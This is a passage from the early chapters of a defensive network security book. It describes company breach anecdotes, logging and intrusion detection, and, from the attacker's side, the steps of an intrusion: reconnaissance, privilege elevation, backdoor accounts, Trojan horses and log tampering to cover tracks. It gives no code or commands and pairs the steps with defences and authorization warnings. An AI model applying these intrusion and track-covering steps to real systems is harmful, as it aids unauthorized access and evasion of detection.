worse. Here was a multi-million dollar company, one of the top three
companies in its field, and it had a misconfigured firewall and no
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monitoring of any log files or network activity to look for attacks. Yet its
sole determination on whether it had a security breach or not was
disruption of service. An attacker could break into a company like this,
take all of its sensitive files, and use them to steal clients, and the
company would never know because the attack did not disrupt its service.

To continue with this example, several months later, this company
contacted me again because it was having storage issues on its network.
It kept adding 20GB drives, which kept filling up. The company attributed
this problem to its users copying large amounts of files and the possibility
that the system was misconfigured. After examining the data, the
company had gigabytes of hacker tools and other miscellaneous files in
the system. Upon further investigation, it was found that Trojan horses
such as Back Orifice were installed on more than 15 of the servers. Also,
there were several accounts that were members of domain administrator,
and they did not know who they belonged to. This company was severely
compromised and didn’t even know about it because it was looking in the
wrong areas. Fixing the problem was going to cost the company several
hundred thousand dollars and four to six months. If the company had put
the proper procedures in place, the first time the attacker broke in, the
attacker would have been caught and the company would have needed
only a couple of hours to clean up and fix the holes. If this example is not
a justification for investing in detection, I am not sure what is.

Intrusion Detection Systems

Your systems should be so well protected that an attack would require so
much time and effort that the attacker gives up before gaining access.
Ideally, a company should have the proper Intrusion Detection System
(IDS) in place so that it can detect an attack and protect against it before
it does any damage. This is something most companies should strive for,
but unfortunately most companies ignore the importance of a proper IDS.

Logging Events

In most cases, logging the events that occur on a network is the only way
a company can determine that a system is either in the process of being
compromised or has been compromised. Only by knowing what is
occurring on your network can you properly defend against attacks. If you
sit back and wait for bad things to happen to determine you have a
problem, it might be too little, too late when you try to fix your network.
In most cases, if a company does not actively monitor its logs, it is
accepting the risk of being compromised, and possibly going out of
business.
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Awareness Training for Employees

Not only do companies have to start making an investment in security,
they need to raise the awareness of their employees as well. If employees
came to work one morning and discovered that several computers were
stolen, they would quickly notify law enforcement. Yet when it comes to
computer crimes, employees are reluctant to report them.

The following are the main things you want to make sure employees
understand about security:

« What security is and why it is important.
o They are part of the solution.
o Without them, you cannot have a secure company.

It's a good idea to make employees aware of what happens to companies
that have poor security and the direct impact poor security has. Show the
users that security can be fun, but also tell enough stories to scare them a
little—well, maybe a lot. You don’t want them to walk away thinking it is
all fun and games

Defense in Depth

There is no silver bullet when it comes to security. At times, vendors
would like to convince you otherwise, but the bottom line is a company
must have multiple approaches to have a secure site—one mechanism is
not going to do it. A firewall is a good start, but it is only a start, not a
solution. After you add an IDS, multiple firewalls, active auditing, secure
dial-in, virtual private networks, encryption, strong passwords, and access
control lists, then you are getting close to having a secure network. This
concept of having multiple mechanisms protecting a site is called defense
in depth.

Purpose of This Book

The point of this book is to show you that there is no way to properly
protect a your company’s network unless you know what you are up
against. Only by understanding how attacks work and what an attacker
does to compromise a machine can a company position itself so that it can
be properly protected. Knowing what an attacker can do to compromise
your system and what it looks like on a network is the only way to build a
secure system.

Even though this book goes into techniques used to hack a machine and
perform common exploits, it is not meant for this purpose. It is meant to
help a company properly close up its vulnerabilities and protect its
computers. This will become evident when we go into specific exploits,
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because a significant portion of each section covers what the exploit looks
like and what to do to protect against it. This book not only makes you
aware of the hacking tools that are available and how easy they are to
use, it shows you what a company must do to have a secure network.
When the defense of a football team is preparing for a big game, what
does it do? It studies the tapes of the offense it is getting ready to face.
This way, it knows what the offense is going to do before the offense does
it. As Sun Tzu said in The Art of War, knowing your enemy is the key to
winning a battle. If you look at the damage that attackers have caused to
companies, there is truly a battle occurring, and only those companies
that are properly prepared will survive

Legal Stuff

I must provide a legal warning at this point. Throughout this book, we are
going to cover several techniques that can be used to break into sites. My
intention in providing this information is for you to learn about the tools
for protecting sites, but they can still be used against a company. The
techniques and tools described in this book should be used only in an
authorized manner, and you should always get permission from superiors
before running these tools. Even if you are a network administrator,
always get authorization before running these tools, because as you will
see throughout this chapter, these tools can have adverse side effects.
Just remember, unauthorized access is bad, authorized access is good.
Also, I am not a lawyer, so treat this as a general warning. You should
always seek legal guidance before running these tools, either at your own
company or for a client.

I know a network administrator who was trying to convince senior
management at his company to invest money in security and it kept
refusing. The administrator was getting very frustrated because he knew
how vulnerable the company was. One day, he decided to prove to them
the extent of the security problem. Without permission (this is the key
part), he used a tool to break into the CFO’s mail account and send an
email to the entire company. The body of the email basically stated that
the sender was not the true CFO, but someone who broke into the account
to show the extent of the security problem at the company. When he was
called into the CEQ'’s office the next day, he figured that he had opened
their eyes and they were going to approve his budget. Instead, they fired
him on the spot and pursued legal action against him for breaking
company policy. I do not want to sound like I am repeating myself, but
one last time, always, under all circumstances, get permission before
running any of these tools against any network.
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What’'s Covered In This Book

Throughout this book, we are going to cover a large number of exploits
and how they work. There are some people that side with certain
operating systems saying that one is more secure than another. The
bottom line is default installations of most operating systems are not
secure. It is up to the administrator to properly harden the machines
before they go live. Unfortunately, very few people do this.

Because most operating systems have problems, throughout this book, I
take a vendor-neutral approach. Whenever possible, I try to cover attack
tools and exploits for both major platforms—UNIX (including Linux) and
NT. For example, with port scanner, we will cover programs that work on
both platforms. In other cases, however, some of the tools only run on
certain platforms or only work against certain platforms. In those cases, I
will still cover the tool but it will be biased to a certain operating system.
For example, session hijacking tools mainly run on UNIX platforms but can
hijack any TCP/IP session. On the other hand, attacks like null sessions
only run on Microsoft NT and work against Microsoft NT operating
systems.

It will become evident later in the book of the ease and minimal
knowledge it takes to successfully run some of these exploits. Usually
when an exploit is discovered, someone will write code to show how the
exploit works. This code very quickly makes its way to the public domain
and can be accessed by anyone.

In some cases, the code is poorly written source code; in other cases, it is
easy-to-run executables. Generally, most exploits that run on a UNIX
platform are distributed in source code and have to be compiled. This
requires a little extra work, but gives a lot of flexibility to the end user in
terms of adding functionality.

On the NT side, exploits are usually distributed as executable code, which
means that you uncompress the file, double-click the icon, and you are
ready to go. Most of this code is in very easy-to-use GUIs (graphical user
interfaces), which require minimal knowledge to run, thus the root of one
of the problems. You do not have to be an expert or even understand
what you are doing to successfully attack a machine. The only good news
about NT exploits is, because they are usually distributed as executables,
it is fairly hard for someone to go in and modify the functionality to enable
it to run variations. On the other hand, because most companies are so
slow at fixing vulnerabilities, this is not really an issue
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Summary

This book is not meant to serve as a guide to attackers, even though it
shows how many attacks work. This book is meant to show you that the
only way a company can successfully guard its systems and networks
against the threats that exist is by having a thorough understanding of
how those attacks work. Until IT people who are responsible for the
security of a network fully understand what they are up against, they
cannot properly defend their systems. Hopefully, this book will help train
security professionals so that they can better react to the wide range of
threats that exist and stay one step ahead of attackers

Chapter 2. How and Why Hackers Do It

Attackers break into systems for a variety of reasons and for a variety of
purposes. Until you understand how attackers break into systems and why
they do it, you will have a hard time defending against the variety of
attacks that are currently being used to compromise systems. This
chapter will take a detailed look at these issues so you can better
understand the processes, methods, and types of attacks that are
currently being used.

What Is an Exploit?

Because the topic of exploits will be addressed throughout the book, this
is probably a good time to cover what an exploit actually is.

If this were a short-answer question, the correct answer would be “an
exploit can be anything.” Basically, anything that can be used to
compromise a machine is considered an exploit. Remember, we are also
using a loose definition of the word compromise. A compromise could
include the following:

« Gaining access

o Simplifying gaining access

e Taking a system offline

« Desensitizing sensitive information
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For example, going through a company’s garbage to find sensitive
information can be considered an exploit. If an attacker goes through the
garbage and finds a computer printout of top-secret information about a
company’s new product, he has technically compromised the system
without ever touching it. This is why addressing all the ways a system can
be exploited is so important. Many times, security professionals put on
blinders and look at only one aspect of security. It is important to
remember that a chain is only as strong as its weakest link, and an
attacker will compromise the weakest link in a company’s security.
Therefore, it is critical that security professionals step back and properly
look at and address all the security issues a company might face.

Hollywood Hackers

For a good example of going through a company’s garbage, or the
more technical term dumpster diving, rent the movie Sneakers. If
you are reading this book and have not seen the movie, you
should rent it immediately. Although it is a very entertaining
movie, it also shows the security threats that companies can face.
Just to whet your appetite, the movie is about a company that
performs penetration testing of other companies’ security
systems—particularly banks.

To look at a more formal definition, www.dictionary.com defines an exploit
as “a security hole or an instance of a security hole.” This brings out a
very important point: For there to be an exploit, there has to be a
weakness that can be compromised. If there are no weaknesses, there is
nothing to exploit. That is why most people would say that a truly secure
system is one that is not plugged into a network or any sort of electricity
and buried in 30 feet of cement under the support beams for the Brooklyn
Bridge. In this case, the number of possible exploits is minimized because
the number of weaknesses is reduced or eliminated. It is also important to
point out that, although the number of exploits is minimized, the
functionality of the system is also severely minimized. One of the main
reasons why companies do not have truly secure servers is that,
whenever you increase security, you reduce functionality, and
functionality is what keeps a company in business. The counter argument
I always make is that functionality might keep a company in business, but
lack of security will put a company out of business.

Therefore, when building secure systems, it is critical that you minimize
the risk while reducing the impact it has on overall functionality. Figure
2.1 shows the constant battle of trying to balance security, functionality,
and ease of use. Imagine that there is a ball in the triangle and you can
move it to whatever corner you want. As you move the ball toward the
corner of security, you are moving farther away from the other two
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corners. This means that as you increase security, you reduce
functionality and ease of use.

Figure 2.1. The security, functionality, and ease-of-use triangle.

SECURITY

FUNCTIOMALITY EASE OF USE

Now that you have a good idea of what an exploit is and what things to be
careful of when securing your system, let’s take a look at the process that
attackers go through to exploit a system. The following section looks at all
types of exploits, not just computer-or network-based, to give you a
better idea of the threats that exist.

The Attacker’s Process

There are many ways an attacker can gain access or exploit a system. No
matter which way an attacker goes about it, there are some basic steps
that are followed:

1. Passive reconnaissance.
2. Active reconnaissance (scanning).
3. Exploiting the system:
o Gaining access through the following attacks:

Operating system attacks
Application level attacks
Scripts and sample program attacks
Misconfiguration attacks
o Elevating of privileges
o Denial of Service
4. Uploading programs.
5. Downloading Data.
6. Keeping access by using the following:

o Backdoors
o Trojan horses
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7. Covering tracks.

Note that it is not always necessary to perform all of these steps, and in
some cases, it is necessary to repeat some of the steps. For example, an
attacker performs the active and passive reconnaissance steps and, based
on the information he gathers about the operating systems on certain
machines, he tries to exploit the system. After unsuccessfully trying all
sorts of operating system attacks (Step 3), he might go back to Steps 1
and 2. At this point, his active reconnaissance will probably be more in
depth, focusing on other applications that are running or possible scripts
that are on the system, and even trying to find out more information
about the operating system, such as revision and patch levels. After he
has more information, he will go back to attacking the system.

You would hope that, by protecting your systems from attack, this process
would take a long time to accomplish, frustrating the attacker enough to
give up before he gains access. Ideally, a company should have proper
Intrusion Detection Systems in place so that it can detect an attack and
protect against it before it does any damage. Most companies should
strive for this, but unfortunately most ignore it.

Let’s briefly run through each of the steps from an attacker’s point of
view. The attacker starts off seeing if he has any general information
about the system. This consists of information like the domain name and
any servers or systems the company might have. After all of the passive
information has been gathered, active reconnaissance begins. This is
where the attacker tries to find out as much information about the
systems, without setting off too many alarms. Then, he gathers things
such as IP addresses, open ports, operating system and version, and so
on. After some initial information is gathered, an attacker steps through
each of the attack areas: operating system, applications, scripts, and
misconfigured systems. For each item, an attacker tries an attack; if
unsuccessful, he tries to gather more information about the component.
After all the information has been gathered for an item, an attacker moves
on to the next item. After an attack has been successful and access has
been gained, the attacker then uploads any necessary programs,
preserves access by installing Trojan horses, and finally cleans up the
system to hide the attack.

Passive Reconnaissance

To exploit a system, an attacker must have some general information;
otherwise, he does not know what to attack. A professional burglar does
not rob houses randomly. Instead, he picks someone, like Bob, and he
begins the passive reconnaissance stage of figuring out where Bob’s house
is located and other general information.
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The same thing has to be done with hacking. After an attacker picks a
company to go after, he has to find out the company’s name and where it
is located on the Internet. Chapter 3, “Information Gathering,” covers this
in detail. The sections in this chapter on reconnaissance are meant to lay
the groundwork for Chapter 3.

Passive information gathering is not always useful by itself, but is a
necessary step, because knowing that information is a prerequisite to
performing the other steps. In one case, I was gathering information to
perform an authorized penetration test for a company.

I pulled up to the company around 4:00 p.m. I chose this time for two
reasons. First, because most people leave between 4:30 p.m. and 5:30
p.m., I could observe a lot of behavior, but to do so I needed to park near
the front of the building. Usually, that late in the day, some people have
already left and you can get a close spot—thus, the second reason. I
parked near the entrance and rolled down my window. Three people came
out and stopped in front of my car to have a smoke. As they smoked, they
talked about business and a new server they just installed. It was set up
for testing file transfer and FTP access to remote offices, but they went on
to explain that, because they were having trouble with authentication,
they allowed anonymous access. As they finished the conversation, they
started joking with the one person on why he named the server Alpha-
Two.

In the course of five minutes, I was given the name of a server that was
accessible from the Internet and the fact that authentication was turned
off, which meant that I had full access to the network! As fictitious as this
story might sound, it actually happened and is quite realistic. It is amazing
what people will say if they think that no one else is listening.

In some cases, passive reconnaissance can provide everything an attacker
needs to gain access. On the surface it might seem like passive
reconnaissance is not that useful, but do not underestimate the amount of
information an attacker can acquire if it is done properly.

Passive attacks, by nature of how they work, might not seem as powerful
as active attacks, but in some cases they can be more powerful. With
passive attacks, you do not directly get access, but sometimes you get
something even better: guaranteed access across several avenues.

One of the most popular types of passive attacks is sniffing. This involves
sitting on a network segment and watching and recording all traffic that
goes by. This can yield a lot of information. For example, if an attacker is
looking for a specific piece of information, he might have to search
through hundreds of megabytes of data to find what he is looking for. In
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other cases, if he knows the pattern of the packets he is looking for, it can
be quite easy.

An example of this is sniffing passwords. There are programs that
attackers can run from a workstation that looks for NT authentication
packets. When it finds one, it pulls out the encrypted password and saves
it. An attacker can then use a password cracker to get the plain text
password. To get a single password, this might seem like a lot of work.
But imagine an attacker setting this up to start running at 7:00 a.m. and
stop running at 10:00 a.m. Most people log on to the network in those
three hours, so he can gather hundreds of passwords in a relatively short
time period.

Another useful type of passive attack is information gathering. During this
type of attack, an attacker gathers information that will help launch an
active attack. For example, let’s say that an attacker sits near the loading
dock of a company to watch deliveries. Most companies print their logos
on the sides of boxes and are easy to spot. If an attacker notices that you
receive several Sun boxes, he can be pretty sure that you are running
Solaris. If, shortly after the release of Windows 2000, a company receives
boxes from Microsoft, an attacker could probably guess that the company
is upgrading its servers to the new operating system.

Active Reconnaissance

At this point, an attacker has enough information to try active probing or
scanning against a site. After a burglar knows where a house is located
and if it has a fence, a dog, bars on the windows, and so on, he can
perform active probing. This consists of going up to the house and trying
the windows and doors to see if they are locked. If they are, he can look
inside to see what types of locks there are and any possible alarms that
might be installed. At this point, the burglar is still gathering information.
He is just doing it in a more forceful or active way.

With hacking, the same step is performed. An attacker probes the system
to find out additional information. The following is some of the key
information an attacker tries to discover:

« Hosts that are accessible

o Locations of routers and firewalls

o Operating systems running on key components
o Ports that are open

o Services that are running

o Versions of applications that are running

The more information an attacker can gain at this stage, the easier it will
be when he tries to attack the system. Usually, the attacker tries to find
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out some initial information covertly and then tries to exploit the system.
If he can exploit the system, he moves on to the next step. If he cannot
exploit the system, he goes back and gathers more information. Why
gather more information than he needs, especially if gathering that extra
information sets off alarms and raises suspicion? It is an iterative process,
where an attacker gathers a little, tests a little, and continues in this
fashion until he gains access.

Keep in mind that, as an attacker performs additional active
reconnaissance, his chances of detection increase because he is actively
performing some action against the company. It is critical that you have
some form of logging and review in place to catch active reconnaissance,
because, in a lot of cases, if you cannot block an attacker here, your
chances of detecting him later decrease significantly.

When I perform an assessment, usually I run some tests to figure out the
IP address of the firewall and routers. Next, I try to determine the type of
firewall, routers, and the version of the operating system the company is
running to see if there are any known exploits for those systems. If there
are known exploits, I compromise those systems. At that point, I try to
determine which hosts are accessible and scan those hosts to determine
which operating system and revision levels they are running. If an
attacker can gain access to the external router or firewall, he can gather a
lot of information and do a lot of damage.

For example, if I find that a server is running Windows NT 4.0 Service
Pack 4, I scan for all vulnerabilities with that version and try to use those
vulnerabilities to exploit the system. Surprisingly, with most companies,
when I perform active reconnaissance, their technical staff fails to detect
that I have probed their systems. In some cases, it is because they are
not reviewing their log files, but in most cases, it is because they are not
logging the information. Logging is a must, and there is no way to get
around it. If you do not know what an attacker is doing on your system,
how can you protect against it?

The goal of a company in protecting its computers and networks is to
make it so difficult for an attacker to gain access that he gives up before
he gets in. Today, because so many sites have minimal or no security,
attackers usually gain access relatively quickly and with a low level of
expertise. Therefore, if a company’s site has some security, the chances of
an attacker exploiting its systems are decreased significantly, because if
he meets some resistance, he will probably move on to a more vulnerable
site. This is only true for an opportunistic attacker who scans the Internet
looking for any easy target.

In cases of corporate espionage, where an attacker is targeting your site,
some security will make the attacker’s job more difficult, but will not
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necessarily stop him. In this situation, hopefully the extra security will
make it so difficult that you will detect the attack before he gains access
and stop him before any damage is done.

In most cases, an attacker uses a passive reconnaissance attack first to
properly position himself. Next, he uses an active reconnaissance attack to
gather the information he is after. An example is an attacker breaking into
a machine so that he can sniff passwords off of the network when users
log on each morning. As this example shows, to perform active
reconnaissance, an attacker must have some level of access to the
system.

Each attack has value, but as you will see throughout this book, the real
value is gained when multiple techniques or attacks are combined. Giving
a carpenter a single tool allows him to build part of a house. When a
carpenter is familiar, well-trained, and has several tools in his toolbox, he
can build an entire house. These same principles apply for successfully
breaking into a system—or in our case, successfully preventing a break-in.

Exploiting the System

Now comes the scary part for a security professional. When most people
think about exploiting a system, they only think about gaining access, but
there are actually two other areas: elevation of privileges and denial of
services. All three are useful to the attacker depending on the type of
attack he wants to launch. There are also cases where they can be used in
conjunction with each other. For example, an attacker might be able to
compromise a user’s account to gain access to the system, but because he
does not have root access, he cannot copy a sensitive file. At this point,
the attacker would have to run an elevation of privileges attack to
increase his security level so that he can access the appropriate files.

It is also important to note that an attacker can exploit a system to use it
as a launching pad for attacks against other networks. This is why system
break-ins are not always noticed, because attackers are not out to do
direct harm or steal information. In these cases, a company’s valuable
resources are being used and, technically, that company is hacking into
other companies.

Think about this for a minute: Whether it is authorized or not, if someone
is using Company A’s computers to break into Company B, when Company
B investigates, it will point back to Company A. This is called a
downstream liability problem. This can have huge legal implications for a
company if it is not careful—especially if the attackers want to have some
fun and carefully pick the two companies so that Company A and B are
major competitors. If you are the head of security for Company A, you
better hope that your resume is updated.
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Gaining Access

Because one of the most popular ways of exploiting a system is gaining
access, let’s start with this type of attack. There are several ways an
attacker can gain access to a system, but at the most fundamental level,
he must take advantage of some aspect of an entity. That entity is usually
a computer operating system or application; but if we are including
physical security breaches, it could be a weakness in a building. If a
burglar were going to break into a house, he would have to exploit a
weakness in the house to gain access—for example, an unlocked window,
no alarm system, or a non-secure lock. The bottom line is this: If the
house had no weaknesses, it could not be compromised. As we all know,
for a house to be useful to its owners, it is going to have weaknesses.
Windows and doors make a house useful, but can be turned against the
owner and used to break into the house. Eliminating all weaknesses would
produce a house with no usefulness to the owner. What good is a house
with no windows or doors made of solid concrete and steel? This same
principle holds for computer systems. As long as they provide usefulness
to a company, they will have weaknesses that can be compromised. The
key is to minimize those weaknesses to provide a secure environment.
The following are some ways that an attacker can gain access to a
system:

o Operating system attacks

o Application-level attacks

e Scripts and sample program attacks
» Misconfiguration attacks

Operating System Attacks

Previously, we compared an operating system to the doors and windows
of a house. The doors and windows of an operating system are the
services it is running and the ports it has open. The more services and
ports, the more points of access; the less ports and services, the less
points of access. Based on this one would hope that a default install of an
operating system would have the least humber of services running and
ports open (if you need more, you can install them on your system). This
way, you control the points of compromise in a system.

In reality, the opposite is true. The default install of most operating
systems has large numbers of services running and ports open. The
reason most manufacturers do this is simple, money. They want a
consumer of their product to be able to install and configure a system with
the least amount of effort and trouble. The reason for this is every time a
consumer has a problem with their product they have to call for support,
which costs the company large amounts of revenue. The less calls, the
less number of technical support staff, and the lower their costs. Also, the
less calls, the less frustration a user experiences, which increases
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satisfaction with the product. If someone installs an operating system and
the services they need such as web and authentication are not present,
most of the time they will call for help. Therefore it makes more sense in
terms of functionality, to just have everything installed by default, if
someone needs it, it's there.

From a software manufacturers standpoint, this makes sense. From a
security standpoint, it does not make sense. Why would anyone install a
non-secure operating system by default? Most of the time this is
unintentional, because users are not familiar enough with an operating
system to realize how vulnerable it really is. To make matters worse, once
the operating system is installed, companies think their job is done and
fail to apply patches and updates. This leaves a company with outdated
operating systems, which have a large number of vulnerabilities—not a
good position to be in from a security perspective.

Application-Level Attacks

Application-level attacks take advantage of the less-than-perfect security
found in most of today’s software. The programming development cycle
for many applications leaves a lot to be desired in terms of security.

One major problem with most software that is currently being developed
is that the programmers and testers are under very tight deadlines to
release a product. Because of this, testing is not as thorough as it should
be. To add to this, the problem becomes worse since software that is
being developed has so much added functionality and complexity that
even if there were more time to test, the chances of testing every feature
would still be small. Also, until very recently, consumers were not
concerned about security. If it had all of the great features they needed
they were happy, regardless of the number of security vulnerabilities that
existed in the software. Security should not be an add-on component. To
provide a high level of security, it has to be designed into the application
from the beginning.

Another major problem found in most programs is error-checking. Poor or
nonexistent error-checking accounts for a large humber of security holes
found in today’s programs. Buffer overflows are just one example of this
problem. Other examples will be covered later in the book. Chapter 9,
“Buffer Overflow Attacks,” explains how buffer overflows exploit this
weakness when malicious users ask “What if?”

Scripts and Sample Program Attacks

Especially on the UNIX side of the house, extraneous scripts are
responsible for a large number of entries and exploits. When the core
operating system or application is installed, the manufacturers distribute
sample files and scripts so that the owner of the system can better
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understand how the system works and can use the scripts to develop new
applications. From a developer’s standpoint, this is extremely helpful. Why
invent the wheel when you can use someone else’s script and just build
onto it? In one of my jobs, I programmed and developed source code.
Being able to use sample source code as a template helped increase the
development time tremendously.

One of the main areas where there are a lot of sample scripts is in web
development. The earlier versions of Apache web server and some web
browsers came with several scripts and most of them had vulnerabilities.
Also, a lot of the new scripting tools that come with web browsers enable
developers with minimal programming knowledge to develop applications
in a relatively short period of time.

In these cases, the applications work, but what’s going on behind the
scene is usually pretty scary from a security standpoint. There is usually a
lot of extraneous code and poor error-checking, which create an open
door for attackers. Active Server Pages (ASPs) are a perfect example.
Much of the early development that occurred with ASPs left a lot of
backdoors that attackers are exploiting. An example is the default web
site that ships with IIS. It has the remote admin tools available from the
main page. These tools can be used by an attacker to compromise a
system.

Misconfiguration Attacks

In several cases, systems that should be fairly secure are broken into
because they were not configured correctly. I see this happen so often: An
administrator is working on a system and is not sure how to set it up, so
he tries a bunch of options and when something works he stops. The
problem with this is that he never goes back to figure out what made it
work and to clean up the extraneous work that he did. This is one of the
reasons why some systems are broken into and others are not.

In order to maximize your chances of configuring a machine correctly,
remove any unneeded services or software. This way, the only thing left
on your system is the core components you need and you can concentrate
on securing those. Misconfiguration is one area that you can control since
you are the one configuring the system. Therefore, make sure you spend
the time necessary and do it right. Remember, if you think that you do not
have time to do it right the first time, attackers might break in and there
might not be a second time.

Elevating Privileges

The ultimate goal of an attacker is to gain either root or administrator
access to a system. In some cases, an attacker can directly acquire this
access. In other cases, an attacker has to gain a minimal amount of
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access and then elevate that to full access. For example, an attacker
might acquire guest access and then use that access to gain additional
information. After the additional information has been gained, the attacker
uses this knowledge to increase his access to root or administrator access.
This type of attack, where an attacker indirectly gains root or
administrator access through several levels of access, is called elevating
privileges.

Denial of Service

The two main types of active attacks are Denial of Service and breaking
in. Because Chapter 6 is dedicated to Denial of Service attacks, this
section will only cover a broad overview. Denial of Service attacks are
attacks that deny legitimate users access to a resource. These can range
from blocking users from going to a particular web site to disabling
accounts so that users cannot log on to a network. For example, if you
telecommute and dial in to your company’s server to work every day and
a trespasser cuts the phone wire outside your house, he causes a Denial
of Service attack, which prevents you from performing your work.
Unfortunately, these attacks are fairly easy to perform on the Internet
because they require no prior access. If you are connected to the Internet,
you are vulnerable to a Denial of Service attack. Also, tools for performing
these types of attacks are readily available and easy to run.

Uploading Programs

After an attacker has gained access, he usually performs some set of
actions on the server. There are few cases where an attacker gains access
just for the sake of gaining access. Most often, he either uploads or
downloads files or programs to or from the system. Why else would an
attacker waste time to gain access if he was not going to do anything with
it? If an attacker is looking to steal information, after access is gained, the
goal is to download information as covertly as possible and exit the
system.

In most cases, the attacker will load some programs to the system. These
programs can be used to either increase access, compromise other
systems on the network, or upload tools that will be used to compromise
other systems. Why should an attacker use his own machine to attack
another company, when he can use someone else’s faster machines,
making it harder to trace the attack?

To cause damage or acquire information, an attacker must successfully
break into a site and retrieve the necessary information. The Internet,
however, adds a new dimension to this. As we discussed, in some cases,
the sole reason for breaking into a site is to use the resources for the
attacker’s own personal gain or to break into another site. Some of the
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tools that are used by attackers require significant processing power and a
large connection to the Internet. What better way to acquire these
resources than to break into a large site, upload those programs, and run
them?

An added benefit for the attacker is that it is much harder to trace the
attack. If an attacker is launching an attack from Company A and he
covers his tracks and breaks into Company B, Company B can see only
that Company A attacked it. Because an attacker was able to break into
Company A in the first place usually means that Company A has lax
security, which makes it extremely difficult to trace it back to the
originator.

Downloading Data

With some attacks, like corporate espionage, an attacker is after
information. This information can range from data about a new research
and development product, a customer list, or future direction of the
company. In all of these cases, the attacker wants access to download
data to another location. After the data is downloaded to another location,
an attacker can perform whatever analysis he needs to on the
information. The key to remember with this type of attack is that if you do
not detect the attacker when he is downloading the data, you have no
chance of stopping the attack. After the data has been downloaded, the
remainder of the attack is done offline.

Keeping Access

In most cases, after an attacker gains access to a system, he will put in a
back door so that he can return whenever he wants. If he goes through all
of the work to get into a system, why repeat the work the next time he
needs to get in? In most cases, an attacker has gained root equivalent
access and he can do whatever he wants on the system, so why not put in
a back door? As we discussed, another reason attackers want to maintain
access is to use those computers as a staging area to launch attacks
against other companies.

A back door can be as simple as adding an account to the system. This is
simple, but if the company reviews its active accounts, it has a high
chance of detecting it. However, if it is a system with thousands of users,
chances are that no one will notice. I did a security assessment for one
company that had more than 2,000 active accounts but only 1,000
employees and 200 consultants. It turned out that when users left,
accounts were never disabled or deleted. After you had an account with
this company, you had it for life. In this case, attackers broke in and
created backdoor accounts, and the company never knew it. One problem
employee was terminated. After further investigation, we realized that this
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person created more than five different accounts on the system. Only
after the company experienced problems did we go back in and notice the
additional accounts.

It is scary that most companies do not track what is on their systems or
who has access to their systems. If an attacker gains access and discovers
this lack of tracking, he is guaranteed that he will have access for a long
time.

A more sophisticated type of back door is to overwrite a system file with a
version that has a hidden feature. For example, an attacker can overwrite
the logon daemon that processes requests when people log on to the
system. For most users, it works properly, but if you provide a certain
user ID, it automatically allows you into the system with root access.
These modified programs that are installed are commonly referred to as
Trojan versions, because they have a hidden feature. Another way an
attacker can creat a backdoor is to install a program that runs on a certain
port. If the attacker connects to that port, he can gain full access to the
system or even the network. Programs such as Back Orifice that perform
these features will be discussed in Chapter 15, “Preserving Access.”

Usually with a back door, an attacker has already gained access to a
system and he just wants to restore his access for a later time. What if an
attacker wants to gain access and create a back door at the same time? A
common way to do this is for an attacker to give a legal user a program,
which, upon running, has a hidden feature that creates a way for the
attacker to gain access. These programs are commonly referred to as
Trojan horses. A Trojan horse is a program that has an overt and a covert
feature. An example is when a user receives an email that has an
executable attachment. When he double-clicks it he sees dancing
chipmunks. The user thinks this is funny and sends it to all of his friends.
He does not realize that the program also runs a program that adds an
account to the system so that an attacker can log on at any time. In this
case, the dancing chipmunks is the overt program that the user is aware
of, and the program that creates the accounts is a covert program that
the user does not even know is running.

It is important to point out that there are some cases where an attacker
does not want to keep access. Most of these cases involve some form of
corporate espionage, where an attacker gains access to acquire a certain
piece of data and leaves. In most cases of corporate espionage, an
attacker knows what he wants and when he gets it, he has no desire to
regain access to a system at a later time. The main goal in this scenario is
not to maintain access but to cover his tracks so that he will remain
undetected.
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Covering Tracks

After an attacker compromises a machine and creates a back door, the
last thing he does is make sure he does not get caught. What good is
creating a back door if someone can easily spot it and close it? Therefore,
the attacker’s last step is to cover his tracks.

The most basic thing to do is clean up the log files. The log files keep a
record of who accessed what and when, so if anyone looks at the log file,
that person can tell that an unauthorized person was in the system, and
the file tells exactly what the person did. From an attacker’s standpoint,
this is a bad thing. So, to cover his tracks, he first finds out where the log
file is and cleans out the entries that relate to his attack.

Why doesn’t he go in and delete the entire contents of the log file to
ensure that he doesn’t miss anything? There are two major drawbacks to
total deletion. First, empty log files raise immediate suspicion that
something is wrong. Second, most systems put an entry in the log file
indicating that the file has been cleared. This also sets off a red flag that
raises fear in the heart of any system administrator. That is why it is so
important to send logging to a different machine and ideally have the log
information go to a write-only medium. This way, the chances of someone
being able to go back and clean it up are minimized.

Another common hacker technique is to turn off logging as soon as he
gains access to a machine. Why worry about having to go back and clean
up the log files when he can just turn off logging? This way, no one will
know what he has done. This requires additional expertise, but, it is
extremely effective. The thing to remember is that if logging is done
correctly, even if an attacker turns off logging, the system still records the
fact that he entered the system, where he entered, and other useful
information.

If an attacker modifies or overwrites files, part of his cleaning-up process
is to make sure that the changed files do not raise suspicion. Most files
have dates of when they were last accessed and the size of the file. There
are programs that, when run, raise flags if information has been changed.
To overcome this, an attacker can go in and fool the system. Even though
the file has been modified and the size has changed, he can go into the
properties of the files and set them back to their previous settings, which
make it much harder to detect.

I recommend that if you are going to run a program to make sure key
files on a system were not changed, use a program that calculates
checksums. A checksum is a calculation performed on the file, and two
checksums can only be the same if the files are identical. This means that
even if an attacker goes in and tries to cover his tracks, because the file
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changed, the checksum should be different. These types of programs are
much harder to hide from. These checksum programs are covered in detail
in Chapter 16, “Covering the Tracks,” along with much more information
about how attackers cover their tracks.

The Types of Attacks

Now let’s take a look at the types of attacks that are occurring on the
Internet. This list is not meant to be all encompassing but to give you an
idea of what is occurring. The following is a high-level breakdown of
network-based attacks:

o Active attacks
o Denial of Service
o Breaking into a site
= Intelligence gathering
= Resource usage
= Deception
o Passive attacks
o Sniffing
= Passwords
= Network traffic
= Sensitive information
o Information gathering

At the highest level, the preceding attacks can be broken down into two
main areas: active and passive. An active attack involves a deliberate
action on the part of the attacker to gain access to the information he is
after. An example is trying to telnet to port 25 on a given machine to find
out information about the mail server that a company is running. An
attacker is actively doing something against your site to get in. In the
traditional sense, this is the equivalent of a burglar trying to pick the lock
on your front door or throw a brick through a window to gain access. In all
of these cases, an attacker is actively doing something against you or
your company. Because of this, these attacks are fairly easy to detect, if
you are looking for them. However, active attacks often go undetected
because companies do not know what to look for or are looking at the
wrong thing.

The following is an example that shows how companies typically are
addressing security. It is equivalent to protecting your house by
concentrating all your efforts on the front of the house. You have a steel
re-enforced front door, bars on all the windows, a fence around the front
yard, and a large dog patrolling the front area. From the street, most
people agree that this is pretty good security, until you go around to the
back of the house. The back of the house does not have locks, or bars on
the windows, and anyone can walk in undetected. This is exactly what
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most companies are doing. They put blinders on and concentrate all of
their efforts in one area; unfortunately, it is either the wrong area or only
one of many areas that should be guarded.

